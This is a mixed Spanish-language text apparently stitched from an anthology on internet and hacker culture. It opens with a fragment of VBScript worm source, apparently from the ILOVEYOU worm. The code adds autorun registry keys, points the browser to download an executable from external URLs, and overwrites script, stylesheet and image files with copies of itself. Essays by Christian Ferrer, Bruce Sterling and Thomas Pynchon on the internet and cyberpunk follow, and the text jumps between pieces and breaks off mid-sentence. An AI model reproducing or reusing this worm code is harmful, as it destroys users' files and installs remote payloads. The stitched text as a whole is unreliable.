regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
“,dirsystem&”\MSKernel32.vbs”
regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL”,dirwin&”\Win32DLL.vbs”
downread=””
downread=regget(“HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory”)
if (downread=””) then
downread=”c:\”
end if
if (fileexist(dirsystem&”\WinFAT32.exe”)=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start
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Page”,”http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe”
elseif num = 2 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page”,”http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe”
elseif num = 3 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page”,”http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe”
elseif num = 4 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page”,”http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
.exe”
end if
end if
if (fileexist(downread&”\WIN-BUGSFIX.exe”)=0) then
regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI
X”,downread&”\WIN-BUGSFIX.exe”
regcreate “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page”,”about:blank”
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&”\”)
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext=”vbs”) or (ext=”vbe”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=”js”) or (ext=”jse”) or (ext=”css”)    or (ext=”wsh”) or (ext=”sct”)
or (ext=”hta”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&”\”&bname&”.vbs”)
fso.DeleteFile(f1.path)
elseif(ext=”jpg”) or (ext=”jpeg”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
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ASPECTO. ¿Se parece a una red? ¿O a un laberinto, según una
metáfora trillada? ¿Quizás a esas circunferencias que organizan el tiem-
po y el espacio de los seres humanos? ¿Es el fantasma de un centro de
vigilancia y control que se deshilvana y recompone en millones de pan-
tallas? ¿O es el mapa fractal de un astrólogo del inconsciente? ¿O se
parece a un conmutador telefónico, imagen que parece condensar su
ideal de sociedad? ¿A la vieja red ferrocarrilera o al delta de nervaduras
del cuerpo humano? ¿Al organigrama de una “gran corporación”? O a
un mandala, esa figura oriental cuyos cuatro lados son simétricos y de
donde se sale y se ingresa por cualquier parte.

FECHA DE NACIMIENTO. ¿Cuándo comenzó? ¿En los años ‘90,
al esparcirse la hilatura informática por los cuatro puntos cardinales?
¿En 1981, cuando se lanzan al mercado las primeras computadoras per-
sonales? ¿En 1946, cuando por primera vez ronronean las válvulas y cir-
cuitos de la gigantesca ENIAC? ¿O fue en el siglo anterior, cuando
Babbage inventó las tarjetas perforadas? ¿O quizás en el siglo XVIII,
cuando de la palabra “comunicación” se descartaron las connotaciones
religiosas que evidenciaban comunidades en comunión a la vez que las
ciudades alcanzaban el millón de habitantes y se hacía necesario infor-
mar a unos sobre lo que otros hacían en el extremo opuesto del mismo
hábitat? ¿O quizás, incluso, algunos siglos antes, en el momento en que
comenzaron a clasificarse los peces que nunca nadie jamás comió o las
estrellas a donde nadie jamás viajó, potenciando así una indetenible
voluntad de tratar la riqueza de la realidad como “información”? No,
Internet no es un dispositivo de “última generación”, como creen los
taquicárdicos y los desinformados: es una idea que viene desplegándo-

Medio Mundo. Un identikit
Christian Ferrer



CHRISTIAN FERRER170

se lenta pero imperiosamente desde hace siglos. ¿Cómo no darse cuen-
ta de que fue necesario, antes que nada, orientar el sentido de la vista
hacia aparatos técnicos de captura de “representaciones” visuales, y
transformar al habitante urbano en un “observador” incesante reacti-
vando instantáneamente ante cientos, o miles, de estímulos visuales en
cada caminata, y acostumbrarlo a la presencia continua, en ámbitos
domésticos y públicos, de cientos de juguetes ópticos –de los teatros de
sombras a la linterna mágica–, y desplazar el significado de la palabra
confort desde la práctica íntima de la confortación del alma a la como-
didad hogareña apuntalada por tecnologías, y hacer que datos, imáge-
nes y textos se cruzaran primordialmente con flujos de capital, y que los
futuros imaginados incorporaran “efectos especiales”, y eso a escala
mundial, y sin olvidar que el valor de la aceleración fue elevado a rango
metafísico? Sí, ha sido necesaria, a lo largo de dos siglos, una inmensa
acumulación de transformaciones subjetivas, políticas, económicas y
tecnológicas para que en los años ‘90 cualquiera pudiera estar cierto que
hay más “verdad” en Internet de la que había en la televisión, y antes,
en el cine, y antes, en los textos de lectura, y mucho antes, en los relatos
orales que transmitían historias de dioses y animales mitológicos.

MEDIDAS. Decir que es una voluntad de poder es definir a
Internet. Un improbable viajero espacial que escrutara el planeta Tierra
con su telescopio, seguramente observaría la danza orbital de cien saté-
lites artificiales de comunicación vigilando, articulando e intercronome-
trando las actividades humanas; observaría además el titilar de millones
de computadoras localizables como alfileres coloreados en el mapa de
un estado mayor de la inteligencia estatal; y también a flujos inmensu-
rables de dinero pulsando a lo largo de la red; y observaría una dúctil
interconexión de redes telefónicas, televisivas e informáticas; y asimis-
mo observaría cientos de miles de microemprendimientos destinados a
mantener el flujo sanguíneo en las innúmeras nervaduras tal cual esta-
ciones de servicio a lo largo de una carretera; y, si abriera aún más al
gran angular, observaría como este medio mundo de pescador acoge y
arrastra a las actividades humanas más pujantes y las encastra en un
todo funcional. Observaría, en definitiva, a un sistema guerrero en mar-
cha, una auténtica voluntad de poder que recién está en su curva de
ascenso, cuyas equivalencias pueden ser encontradas en la expansión
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del Imperio Romano, la evangelización cristiana o la conquista de
América. Tal voluntad, además, envía a su ocaso a toda labor humana
que no se adecue a sus exigencias y necesidades. Sólo subsisten el bien
de museo, el anacronismo viviente o la costumbre inofensiva. No,
Internet no es solamente un entretenimiento para adolescentes, un ins-
trumento laboral, un medio de comunicación o un nuevo espacio
empresarial. Es, además, un arma de instrucción militar masiva, y la
laptop, la PC, el mouse, el modem y el teclado constituyen el arsenal
cotidiano de gladiadores bonachones.

GRUPO SANGUINEO. Y como cada cosa tiene su doblez, también
la red tiene una zona secreta, y vericuetos por donde se filtran líquidos
contaminantes que el artefacto en sí mismo produce. Delito informático,
virus, espionaje, ataques concertados a una sección de la red, todo ello
pertenece a la segunda categoría y son equivalentes a lo que la delin-
cuencia, el sabotaje, el espionaje “industrial” y el partisanismo político
eran al orden productivo clásico. Después de todo, la forma de la red
imita al serpentario. En efecto, la palabra virus significa, en latín, “vene-
no”, y el daño nihilista o las actividades que redundan en hurto no
dejan de ser la ineliminable enfermedad venérea de Internet, su mal de
nacimiento, su falla de fábrica. Del mismo modo, el accidente de transi-
to es inerradicable de la autopista. En cambio, la vigilancia oculta de los
“usuarios” por parte de supercomputadoras ocultas es harina de otro
costal. La existencia de la así llamada “red Echelon” demuestra que la
voluntad de control de los Estados modernos y la cultura del secreto
que desde siempre ha signado a los servicios de inteligencia estatales se
han adosado a la red como el injerto al árbol. Esas supercomputadoras
operan como una esponja, dejando escurrir solo el líquido insignifican-
te a la vez que se transforman en una suerte de “inconsciente” de la red,
remedo del ego totalitario de las potencias del primer mundo. El año
2000 encontró a los “internautas” unidos y vigilados, y no les queda otro
remedio que repensar políticamente las promesas libertarias con que se
publicitó el despliegue de Internet.

PROFESION. La red recién comienza a desplegar sus fuerzas. Sus
próximos pasos están garantizados, en gran medida porque Internet ya
habita la imaginación contemporánea como un prodigio en el que esta-
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rían contenidas indecibles posibilidades, pero también porque resulta
ser un cauce amable para los viejos problemas irresueltos de la huma-
nidad. Una página WEB hace resaltar el deseo de reconocimiento frus-
trado; el sitio pornográfico revela la vieja insatisfacción sexual; y en cada
chat se fuga de la soledad. Y así sucesivamente, duplicándose en el
ciberespacio nuestra forma de existencia terrenal. Y como fondo omni-
presente, el negocio, pues la imagen idílica y democrática de 6.000
millones de computadoras uniendo al género humano colisiona contra
los aproximadamente 600 millones de consumidores reales que impor-
tan al comercio electrónico. Si en algunas décadas más Internet será
sinónimo de una nueva economía, de inéditas formas de la acción polí-
tica o de un nuevo tipo de hábitat que recién se encuentra en estado de
prototipo, nadie lo sabe aún con certeza. ¿Y si Internet desapareciera en
una década, superada por complejas formas de interrelación humana
que la industria biotecnológica comienza a prometer y publicitar pero
que aún tiene que inventar? A la fecha de vencimiento de la red no se la
incluye en los manuales del usuario.
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BBruce Sterling (ver página 16)

Este artículo intenta definir al “movimiento cyber-
punk”. Salió publicado en la revista Interzone (Nº

48, junio de 1991), famosa revista inglesa de fantasy y
ciencia ficción que se edita mensualmente desde 1982.



En esta última nota quisiera hablar abiertamente del “cyberpunk”
–no de cyberpunk como sinónimo de delincuente informático, sino de
cyberpunk, el movimiento literario.

Hace unos años, en el frío invierno de 1985 (en esa época solía haber
inviernos fríos, antes de que se supiera lo del ozono) apareció un artí-
culo en Interzone Nº 14, con el título: “La Nueva Ciencia Ficción”. Era
el primer manifiesto del “movimiento cyberpunk”. El artículo hacía un
balance de la historia y los principios del género ciencia ficción; el tér-
mino “cyberpunk” no se empleaba ni una vez. “La Nueva Ciencia
Ficción” se publicó con pseudónimo en una revista de ciencia ficción
británica que tenía muchas más ambiciones que éxito de ventas. Hace
poco sacó una edición con tapas a color para regocijo de sus lectores. Un
buen lugar para un manifiesto.

Comparemos este humilde evento con un artículo reciente,
“Confesiones de un ex-cyberpunk”, de mi amigo y colega Lewis Shiner.
Este artículo es otro honesto intento de declarar muerto al cyberpunk de
parte de Alguien-Que-Lo-Vivió. El artículo de Shiner apareció el 7 de
enero de 1991 en The New York Times, página de opinión.

Es un buen lugar (el New York Times) también, pensaría uno, pero
ilustrativo de la paradójica suerte que corren los “movimientos”. La
avalancha que se desata por un grito y una pala en algún lugar de la
montaña, no puede contenerse con la mano, aunque se disponga de una
audiencia de varios millones.
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Cyberpunk en los noventa*
Bruce Sterling

* “Cyberpunks in the nineties”. Traducción de Carlos Gradin.



El “cyberpunk”, antes de que lo encasillaran y adquiriera su fama
siniestra, era un esfuerzo generoso, abierto, en contacto con la calle,
anárquico y con actitud de “házlo-tú-mismo”, ethos que compartía con
las bandas de garage de los ‘70 de la música punk. La revista de propa-
ganda del cyberpunk, impresa en una sola página, Cheap Truth, se
repartía gratis a los que la pedían. Cheap Truth nunca tuvo copyright;
se alentaban activamente las fotocopias.

Los colaboradores de Cheap Truth siempre usaban pseudónimos,
un intento igualitario y honesto de evitar cualquier culto de personali-
dad o elitismo. Cheap Truth se reía de los “gurús” del género e invita-
ba a todos los que estuvieran escuchando a que cargaran un procesador
de texto y se unieran a la causa. Las ingenuas propuestas de Cheap
Truth para la ciencia ficción eran que ésta debía estar “viva”, ser “leíble”
y estar “bien escrita”. Pero en la práctica no era tan fácil. Se oscurecía la
visión por el polvo que levantaba la batalla. 

Cheap Truth logró un éxito ambiguo. Hubo una respuesta entu-
siasta hacia lo básico: la ciencia ficción tenía que “esforzarse más” y
“terminar con los lugares comunes” si quería conseguir más prestigio.
Casi todos estaban de acuerdo en esto –pero no lo hacían. En el género
ciencia ficción siempre fue más fácil obviar estos truísmos para habitar
en las trivialidades de la literatura comercial: el empleo de ocho horas al
día en la Antigua Fábrica. Otros slogans “cyberpunk” muy de moda,
como el “pensamiento imaginativo” y el “conocimiento técnico” tam-
bién se perdieron en el camino. ¡Ay!, si fuera suficiente con rezar unas
oraciones para cambiar un género, la tierra hubiera temblado cuando
Aldiss y Knight expresaron ideales muy parecidos en 1956.

La lucha de la ciencia ficción por elevar su calidad venía de muy
atrás, pero los escritores de Cheap Truth eran demasiado jóvenes y
parroquianos para estar al tanto. La cultura había cambiado, y había
grandes diferencias. En los ‘50 el “conocimiento técnico” podía ser
inquietante, pero también honesto y motivador –en los ‘80, con la tec-
nología en auge, “conocimiento técnico” remitía a “éxtasis y horror”,
directamente. Esta rareza del cyberpunk eclipsó la simplicidad de su
Teoría y Práctica. 

Los “escritores cyberpunk” empezaron a hacerse famosos, y la idea
original del cyberpunk abierto y disponible para todos, se perdió en las
sombras. El cyberpunk fue un culto inmediato, probablemente la defi-
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nición misma de culto en la ciencia ficción moderna. Hasta compañeros
de generación, que simpatizaban con mucha de la retórica de Cheap
Truth, terminaron desconfiando de este culto –los “cyberpunks” se
habían convertido en “gurúes” del género.

Es asombroso, realmente, lo fácil que es convertirse en gurú de un
género literario. Lo dudoso es que se logre algo con ese esfuerzo. En rea-
lidad, ¿quién confía en los gurús? ¡Cheap Truth nunca lo hizo! En fin,
tomó unos tres años deshacer por completo el Movimiento. Cheap
Truth dejó de editarse en 1986.

Quisiera pensar que sirvió para que otros no repitan los mismos
errores. En realidad, lo dudo mucho.

Ruckler, Shiner, Sterling, Shirley y Gibson –los más respetados
“gurús” del Movimiento, desfilan en el valioso artículo de Shiner ante a
los cautivados millones del New York Times–, aunque lo nieguen, ellos
son “cyberpunks”. Otros cyberpunks, como los demás autores que par-
ticiparon en Mirrorshades: una Antología Ciberpunk,1 quizás puedan arre-
glar cuentas con la bestia, más o menos. Pero esta indeseable palabra
“cyber” seguro va a quedar grabada en nuestras lápidas. Son inútiles las
desmentidas en público, y puede que empeoren la situación. Ni los cam-
bios más vertiginosos en nuestro modo de escribir, o las conversiones al
Islam o a la Santería que hagamos en medio de crisis existenciales,
podrán borrarnos el tatuaje de “escritores cyberpunks”.

Así, la literatura “cyberpunk” no es más que “lo que escriben los
cyberpunks”. Y eso abarca mucho. Personalmente, yo siempre tuve
debilidad por las fantasías históricas; Shiner escribe novelas de misterio
y thrillers. Shirley escribe terror. A Ruckler se lo vio por última vez en
algún lugar dentro de la Tierra Hueca. De William Gibson se supo sor-
presivamente que escribe cuentos muy divertidos. Pero eso no es nada.
El “Cyberpunk” no “morirá” hasta que esté enterrado el último de no-
sotros. Según los censos demográficos llevará bastante tiempo.

Las ideas de apertura que proponía Cheap Truth fueron de dudosa
utilidad –pese al respaldo de Interzone. Quizás los “principios” eran
demasiado generales y abstractos, demasiado arcanos e inabordables,
en comparación a las marcas más fáciles de identificar del género, como
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los implantes cerebrales, los jeans de cuero negros, la adicción a las anfe-
taminas. Pero quizás no sea tarde para ofrecer un ejemplo concreto y
funcional de genuina Weltanschaung [cosmovisión] cyberpunk. 

Tomen Frankenstein de Mary Shelley, una semilla del género ciencia
ficción. Desde un enfoque cyberpunk, Frankenstein es ciencia ficción
“Humanista”. Frankenstein promueve el dictum romántico de que hay
Algunas Cosas Que El Hombre No Debía Saber. No hay meros meca-
nismos físicos para esta ley moral superior –su funcionamiento tras-
ciende la comprensión mortal, es algo relativo a la voluntad divina.
Hubris debe hallar a némesis; esta es, sencillamente, la naturaleza de
nuestro universo. El Dr. Frankenstein comete una trasgresión escalo-
friante, una afrenta al alma humana, y con memorable justicia poética,
es horriblemente castigado por su propia creación, el Monstruo. 

Ahora imaginen una versión cyberpunk de Frankenstein. En esta
obra imaginaria, el Monstruo sería el proyecto que lleva adelante el
equipo de Investigación y Desarrollo bien financiado de alguna corpo-
ración global. El Monstruo, lo mismo podría dirigir su furiosa destruc-
ción sobre personas al azar. Pero habiendo hecho esto, no se le permiti-
ría perderse en el Polo Norte, recitando pensamientos byronianos. Los
Monstruos del cyberpunk nunca se desvanecen tan cómodamente. Ya
están sueltos en las calles. Están cerca de nosotros. Es probable que
“NOSOTROS” seamos ellos. El Monstruo acabaría registrado bajo
copyright por las nuevas leyes genéticas, y siendo fabricado de a miles
en todo el mundo. En poco tiempo todos los Monstruos estarían con
empleos nocturnos mal pagos lavando pisos en restaurantes fast-food. 

En el universo moral del cyberpunk, nosotros ya sabemos Cosas
Que No Teníamos Que Saber. Nuestros “abuelos” sabían estas cosas;
Robert Oppenheimer en Los Álamos se convirtió en Destructor de
Mundos mucho antes de que apareciéramos en escena. En el cyberpunk,
la idea de que hay límites sagrados para la acción humana es simple-
mente una ilusión. No hay fronteras sagradas que nos protejan de no-
sotros mismos.

Nuestra situación en el universo es básicamente accidental. Somos
débiles y mortales; pero no es la voluntad de los dioses, es sólo la mane-
ra en que las cosas se dan por el momento. Y esto es radicalmente insa-
tisfactorio; no porque extrañemos terriblemente el resguardo de la
Deidad, sino porque mirado con objetividad el valle del sufrimiento
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humano es básicamente una tristeza. La condición humana puede cam-
biar, y será cambiada, y está cambiando; la única pregunta real es cómo,
y con qué fin.

En el cyberpunk, esta convicción “anti-humanista” no es simple-
mente una pirueta para enfurecer a la burguesía; es un hecho objetivo
de la cultura a fines del siglo veinte. El cyberpunk no inventó esta situa-
ción; sólo la refleja. 

Hoy es bastante común ver a científicos muy circunspectos adhi-
riendo a ideas horrorosamente radicales: nanotecnología, inteligencia
artificial, suspensión criogénica de los muertos, descarga de los conte-
nidos del cerebro… La manía hubrística está suelta en los pasillos de la
academia, donde todo el mundo y las hermanas de todo el mundo pare-
cen tener un plan para ajustar el cosmos a sus oídos. La indignación
moral de Stern es muy débil; si llegara a haber una diabólica droga que
pudiera extender nuestras sagradas expectativas de vida, por Dios otor-
gadas, en cien años, el Papa sería el primero en la fila.

Vivimos ya, todos los días, por medio de acciones atroces con con-
secuencias impredecibles para el mundo entero. La población mundial
se ha duplicado desde 1970; el mundo natural, que solía envolver a la
humanidad con sus vastos silencios góticos, ahora es algo que debe
catalogarse y protegerse.

Sencillamente, ya no resultamos eficaces al rechazar cosas que no
lucen adecuadas. Como sociedad no podemos ni siquiera darle la espal-
da a riesgos abismales como la heroína y la bomba de hidrógeno. Como
cultura, amamos jugar con fuego, sólo por el placer de su brillo; y si
resulta que hay dinero de por medio, no hay nada que pueda contener-
lo. Los cuerpos que se despiertan de Mary Shelley, son los últimos de
nuestros problemas; algo muy cercano a eso ocurre en las guardias de
cuidados intensivos todos los días.

El pensamiento humano en sí mismo, bajo su apariencia sin prece-
dentes de software de computadoras, se está convirtiendo en algo cris-
talizado, copiado, hecho mercancía. Incluso los interiores de nuestro
cerebro no son sagrados; por el contrario, el cerebro humano es un blan-
co primario de investigaciones cada vez más exitosas –preguntas onto-
lógicas y espirituales, sean malditas. La idea de que, bajo estas circuns-
tancias, la Naturaleza Humana está de alguna manera destinada a pre-
valecer contra la Gran Máquina, es simplemente tonta; resulta notoria-
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mente salida de foco. Es como si un roedor filósofo en una jaula de labo-
ratorio, próximo a tener el cerebro agujereado y enchufado en función
de la Gran Ciencia, declarara piadosamente que al final la Naturaleza
Roedor triunfará.

Cualquier cosa que se le pueda hacer a una rata se le puede hacer a
un ser humano. Y podemos hacerle casi todo a las ratas. Este es un tema
duro para pensar, pero es la verdad. No va a cambiar porque nos tape-
mos los ojos.

“Esto” es cyberpunk.
Lo cual explica, espero, por qué las sagas de aventuras de ciencia

ficción standard, de cuero con tachas, y todo el cotillón cyber, no pasan
la prueba. Lewis Shiner se cansó de escritores que ofrecen narcóticos
tiroteos para inundar las vitrinas con “tics” cyberpunk. “Algunos escri-
tores convirtieron la forma en fórmula”, se queja en The New York
Times, “los mismos argumentos con finales predecibles que encontra-
mos en los video-juegos y las películas de videoclub”. Las primeras con-
vicciones de Shiner apenas se movieron un micrón –pero lo que la
mayoría llama “cyberpunk” ya no satisface sus ideales.

En mi opinión estos recién-llegados son un tema menor. Y también
lo es el término “cyberpunk”. Me complace ver que cada vez es más
difícil escribir un libro estúpido, poner la palabra “cyberpunk” en él, y
esperar a que se venda. Con la palabra-C desacreditada por la satura-
ción de estupideces, cualquiera que se diga “cyberpunk” ahora tiene
que aportar su propio peso. Pero para los que quieran hacerlo, ya no es
negocio. Las etiquetas no pueden defender su propia integridad; pero
los escritores pueden, y los buenos lo hacen. 

Hay otro aspecto general que me parece que es importante para una
comprensión real del Movimiento. El cyberpunk, como la New Wave
antes que él, fue una voz de Bohemia. Vino del underground, de los
márgenes, de lo joven y energético y para-institucional. Vino de gente
que no conocía sus propios límites, y rechazaba los límites ofrecidos por
las costumbres y los hábitos.

No mucha ciencia ficción es realmente Bohemia, y la mayoría de la
Bohemia tiene poco que ver con la ciencia ficción, pero hubo, y hay,
mucho que ganar del encuentro entre ambas. La ciencia ficción como
género, incluso la más “convencional”, tiene bastante de underground
cultural. La ciencia ficción influye en la gran sociedad exterior; y como
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la difusa influencia de los beatniks, hippies y punks, está cuidadosa-
mente limitada. La ciencia ficción, como la Bohemia, es un lugar útil
para poner a un amplio espectro de personas, donde sus ideas y accio-
nes pueden probarse, sin riesgo de poner esas ideas y acciones directa-
mente en práctica generalizada. La Bohemia ha cumplido esta función
desde sus comienzos en la temprana Revolución Industrial, y la sabidu-
ría de este esquema debería admitirse. La mayoría de las ideas extrañas
son simplemente ideas extrañas, y la Bohemia en el poder raramente ha
sido una visión agradable. Julio Verne como escritor de novelas de aven-
turas es una cosa; Presidente Verne, General Verne, o Papa Verne es una
idea más inquietante. 

El cyberpunk fue una voz de Bohemia –Bohemia en los ‘80. Los
cambios tecno-sociales desatados en nuestra sociedad contemporánea
no podían dejar de afectar su contracultura. El cyberpunk fue la encar-
nación literaria de este fenómeno. Y el fenómeno todavía está creciendo.
Las tecnologías de la comunicación en particular, se están volviendo
mucho menos respetables, mucho más volátiles y cada vez más en
manos de personas que no le presentarías a tu abuela.

Pero hoy debe admitirse que los cyberpunks –veteranos de la cien-
cia ficción, en o cerca de los cuarenta, que refinan pacientemente su arte
y cobran sus cheques de regalías– no son más una Bohemia
underground. Esto también es una vieja historia en la Bohemia; es el
castigo standard por el éxito. Un underground a la luz del día es una
contradicción de términos. Esta respetabilidad no es sólo de algunos
casos aislados, los abarca colectivamente. Y en este sentido, el
“cyberpunk” está todavía más muerto de lo que Shiner admite. 

El tiempo y las oportunidades han sido generosos con los
cyberpunks, pero ellos mismos han cambiado con los años. Una doctri-
na central en la teoría del Movimiento era la “intensidad visionaria”.
Pero ha transcurrido un largo tiempo desde que algún cyberpunk escri-
biera un cuento que realmente volara-la-cabeza, algo que retorciera, agi-
tara, que aullara, alucinara y moviera la estantería. En los últimos tra-
bajos de estos veteranos, vemos tramas más ajustadas, mejores persona-
jes, prosa más fina, “futurismo serio e introspectivo”. Pero también
vemos menos cosas en el estilo de vuelos espontáneos y danzas aloca-
das sobre las mesas. Los escenarios se acercan más y más al tiempo pre-
sente, perdiendo los rizados barrocos de la fantasía suelta: los temas en
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cuestión se convierten en algo horriblemente parecido a preocupaciones
de adultos responsables de mediana edad. Y esto puede ser espléndido,
pero no es la guerra. A este aspecto vital de la ciencia ficción se ha abdi-
cado, y está disponible para ser retomado. El cyberpunk simplemente
dejó de estar ahí. 

Pero la ciencia ficción todavía está viva, todavía abierta y en de-
sarrollo. Y Bohemia no va a irse. La Bohemia, como la ciencia ficción, no
es una moda, pese a que genera modas; como la ciencia ficción, la
Bohemia es vieja; tan vieja como la sociedad industrial, de la cual la
ciencia ficción y Bohemia son, ambas, partes integrantes. La Bohemia
Cibernética no es una aparición bizarra; cuando los bohemios cibernéti-
cos proclaman que lo que están haciendo es completamente nuevo, se
engañan a sí mismos inocentemente, sólo por ser jóvenes.

Los cyberpunks escriben sobre el éxtasis y los peligros de navegar
en el ciberespacio y Verne escribió sobre el éxtasis y los peligros de Cinco
semanas en globo, pero si te mueves medio paso fuera del barro de las cir-
cunstancias históricas puedes ver que ambos sirven a la misma básica
función social. 

Obviamente Verne, un gran maestro, todavía se edita, mientras que
el veredicto está pendiente respecto del cyberpunk. Y, por supuesto,
Verne se equivocó en todo acerca del futuro, salvo por algunos aciertos
con suerte; pero lo mismo hará el cyberpunk. Julio Verne terminó como
una especie de rico excéntrico y amada celebridad en el gobierno de la
ciudad de Amiens. Peores cosas han ocurrido, supongo.

A medida que los representantes del cyberpunk consiguen una legi-
timidad involuntaria, se hace más difícil pretender que el cyberpunk
tiene algo de raro y aberrante; hoy es más fácil ver de dónde vino, y
cómo llegó hasta acá. Y se podría pensar que la reverencia a Julio Verne
es algo bizarro para un cyberpunk. Podría, por ejemplo, decirse que
Julio Verne era un buen tipo que amaba a su mamá, mientras que los
brutales y antihumanistas cyberpunks promueven drogas, anarquía,
conexiones cerebrales y destrucción de todo lo sagrado.

Esta objeción es engañosa. El Capitán Nemo era un tecno-anarco-
terrorista. Julio Verne repartía panfletos radicales en 1848 cuando las
calles de Paris estaban cubiertas de muertos. Pero Julio Verne igual es
considerado un optimista victoriano (aquellos que lo han leído deben
dudar de esto), mientras que los cyberpunks suelen ser considerados
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como nihilistas (por aquellos que eligen y arman el cánon). ¿Por qué? Es
el tenor de los tiempos, pienso yo.

Hay mucha desolación en el cyberpunk, pero es una desolación
honesta. Hay éxtasis, pero también hay horror. Mientras estoy sentado
aquí, un oído puesto en las noticias de la TV, oigo al Senado de EE.UU.
debatir sobre la guerra. Y detrás de esas palabras hay ciudades incen-
diadas y multitudes laceradas por granadas aéreas, soldados con con-
vulsiones provocadas por el gas mostaza y sarín. 

Esta generación tendrá que observar un siglo de maníaca devasta-
ción y descuido, y lo sabemos. Seremos afortunados de no sufrir dema-
siado por maltratos ecológicos ya cometidos; seremos extremadamente
afortunados si no vemos a millones de seres humanos hermanos morir
horriblemente en televisión mientras nosotros occidentales nos senta-
mos en nuestros livings comiendo nuestras hamburguesas. Y esto no es
un tonto discurso bohemio; esto es una afirmación objetiva sobre la
condición del mundo, fácil de confirmar para cualquiera con el coraje de
mirar los hechos.

Estas perspectivas deben y deberían afectar nuestros pensamientos
y expresiones y, sí, nuestras acciones; y si los escritores cierran sus ojos
a esto, pueden crear entretenimiento, pero no cumplen con los requisi-
tos para ser llamados escritores de ciencia ficción. Y los cyberpunks son
escritores de ciencia ficción –no de un “sub-género” o de un “culto”,
sino de la cosa misma. Merecemos ese título y no se nos debería privar
de él. 

Pero los Noventas no van a pertenecer a los cyberpunks. Vamos a
estar ahí trabajando, pero no somos el Movimiento, ni siquiera somos
“nosotros” ya. Los Noventas van a pertenecer a la generación que viene,
aquellos que crecieron en los Ochentas. Todo el poder, y la mejor suerte
para el underground de los Noventas. No te conozco, pero sé que estás
ahí. Haz que suceda, puede hacerse. Lo sé. Yo estuve ahí.
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Como si el hecho de que sea 1984 no bastara, también es el 25º ani-
versario este año de la famosa Conferencia de Rede de C.P. Snow, “Las
Dos Culturas y la Revolución Científica”, notable por su advertencia de
que la vida intelectual en Occidente se estaba polarizando cada vez más
entre las facciones “literaria” y “científica”, cada una condenada a no
entender o valorar a la otra. La conferencia originalmente se proponía
tratar temas como la reforma de los programas de investigación en la
era del Sputnik y el rol de la tecnología en el desarrollo de lo que pron-
to se haría conocido como tercer mundo. Pero fue la teoría de las dos
culturas la que llamó la atención de la gente. De hecho armó un buen
revuelo en su momento. Algunos temas de por sí ya resumidos, se sim-
plificaron aún más, lo cual produjo ciertas opiniones, tonos que se ele-
varon, incluso respuestas destempladas, llegando todo el asunto a
adquirir, aunque atenuado por las nieblas del tiempo, un marcado aire
de histeria.

Hoy nadie podría salir impune de una distinción como esa. Desde
1959, llegamos a vivir inmersos en flujos de datos más vastos que cual-
quier otra cosa que el mundo haya visto. La desmitificación es la orden
de nuestro día, todos los gatos están saltando de todos los bolsos e
incluso empiezan a mezclarse. Inmediatamente sospechamos inseguri-
dad en el ego de personas que todavía pueden tratar de esconderse
detrás de la jerga de una especialidad o de aspirar a una base de datos
que siempre esté “más allá” del alcance de un profano. Cualquiera que
en estos días tenga lo necesario (tiempo, primario completo y una sus-

¿Está bien ser un Luddita?*
Thomas Pynchon

* “Is it OK to be a luddite?”. Traducción de Carlos Gradin.



cripción paga), puede reunirse con casi cualquier porción de conoci-
miento especializado que él o ella necesite. Así que, llegados a este
punto, la disputa ente las dos culturas no se puede sostener más. Como
se verá en una visita a cualquier biblioteca o puesto de revistas de la
zona, ahora hay tantas más de dos culturas, que el problema se ha vuel-
to, en realidad, cómo hallar tiempo para leer cualquier cosa fuera de la
especialidad de uno.

Lo que persiste, después de un largo cuarto de siglo, es el factor
humano. Con su pericia de novelista, al fin y al cabo, C.P. Snow buscó
identificar no sólo dos tipos de educación sino también dos tipos de per-
sonalidad. Ecos fragmentarios de viejas discusiones, de ofensas no olvi-
dadas recibidas a lo largo de charlas académicas que se remontan en el
tiempo, pueden haber ayudado a conformar el subtexto de la inmode-
rada, y por eso festejada, afirmación de Snow, “Dejando de lado la cul-
tura científica, el resto de los intelectuales nunca intentaron, quisieron,
ni lograron entender a la Revolución Industrial.” Estos “intelectuales”,
en su mayoría “literarios”, eran, para Lord Snow, “ludditas naturales”.

Salvo, quizás, el Pitufo Filósofo, es difícil imaginarse a alguien en
estos días que quiera que lo llamen intelectual literario, aunque no
suena tan mal si se amplía el término a, digamos, “gente que lee y pien-
sa”. Que lo llamen luddita es otro tema. Trae consigo preguntas, como
